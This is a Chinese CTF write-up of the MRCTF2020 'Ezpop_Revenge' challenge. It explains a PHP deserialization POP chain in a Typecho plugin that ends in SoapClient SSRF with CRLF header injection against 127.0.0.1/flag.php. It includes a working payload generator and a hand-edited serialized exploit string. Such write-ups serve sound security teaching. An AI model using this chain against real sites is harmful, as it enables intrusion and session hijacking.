MRCTF2020 web Ezpop_Revenge 简单记录

题目介绍

首先这是一个typecho的框架
然后通过扫目录得到www.zip源码泄露,然后就是审计代码了~~

解题过程

首先我们找到输入点

在这里插入图片描述
在插件中,我们发现action()的代码
这儿需要说明一下,这儿的action一般是自动加载的,当路由加载类是会自动加载某个函数,所以我们直接搜索这个类得名称~~
在这里插入图片描述
在这里插入图片描述

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

这句代码的意思就是访问/page_admin的时候,会自动加载HelloWorld_Plugin类,而且会自动调用action函数,所以我们输入点的路由为/page_admin

寻找pop链

在根目录下有flag文件
在这里插入图片描述
很明显的ssrf,结合输入点的反序列化,我们直接想到soapssrf
当访问后,会自动把flag写进访问的session

usr下面的Plugin.php中有一个类
在这里插入图片描述
我们跟进Typecho_Db
在这里插入图片描述
然后在Typecho_Db__construct中发现字符串拼接,这个时候我们就知道肯定实调用某个类的__tostring,因为$adapterName我们可控
所以我们直接搜索__tostring
在这里插入图片描述
然后跟踪到Query.php__tostring
假如Typecho_Db::SELECT(静态值)的值为SELECT,则跟进$this->_adapter
我们发现这个值我们也是可控的,这个时候我们控制_adapter为soap类就可以了~~
在这里插入图片描述

这是时候梳理一下pop链
首先时/usr下的Plugins.php反序列化调用HelloWorld_DB触发Typecho_Db类,并且可以控制其中的$adapterName
$adapterName拼接到字符串中,触发__tostring,所以这个时候我们使得$adapterNameQuery.php中的Typecho_Db_Query类,并且控制私有变量$_adapter为soap类来本地访问flag.php
在这里插入图片描述
这个时候再访问soap的parseSelect方法,但是此方法并不存在,所以就会触发soap的__call方法来打到本地访问的目的

payload:

<?php

class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;

    public function __construct()
    {
       $target = 'http://127.0.0.1/flag.php';
		$headers = array(
		'X-Forwarded-For: 127.0.0.1',
		'Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1'
		);
		$b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri'      => "aaab"));
        $this->_sqlPreBuild =array("action"=>"SELECT");
        $this->_adapter = $b;
    }
}


class HelloWorld_DB
{
    private $coincidence;

    public function __construct()
    {
        $this->coincidence = ["hello" => new Typecho_Db_Query()];
    }
}

$a = new HelloWorld_DB();
$aaa = serialize($a);

这个时候先生成序列化的值,然后再做一些小处理
我们都知道私有变量类名的前后都有%00,但是某些特定版本的情况下,这样也会出错
这个时候我们需要将s改为S,并添加\00
如同这个样子

$aaa = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1";s:13:"_soap_version";i:1;}}}}';

然后再添加\r\n,base64编码

$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo base64_encode($aaa);

我们soap访问的PHPSESSID的值为a8vkg6l5j5sesvqan5q5s4obr1

这个时候访问/page_admin页面
在这里插入图片描述
然后更换PHPSESSID
在这里插入图片描述
得到flag

写在最后,再说一下为啥要更换s,和添加\00,而不是直接编码

都知道private属性会在反序列化的生成一个标志性的%00,关于这个坑点p神是这么说的

  • PHP序列化的时候privateprotected变量会引入不可见字符\x00,输出和复制的时候可能会遗失这些信息,导致反序列化的时候出错。
  • private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,如图1,url编码后就可以看得很清楚了。
  • 同理,protected属性会引入\x00*\x00
  • 此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。比如s:5:”A<null_byte>B“;̀ -> S:5:”A\00B\09\0D”;
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值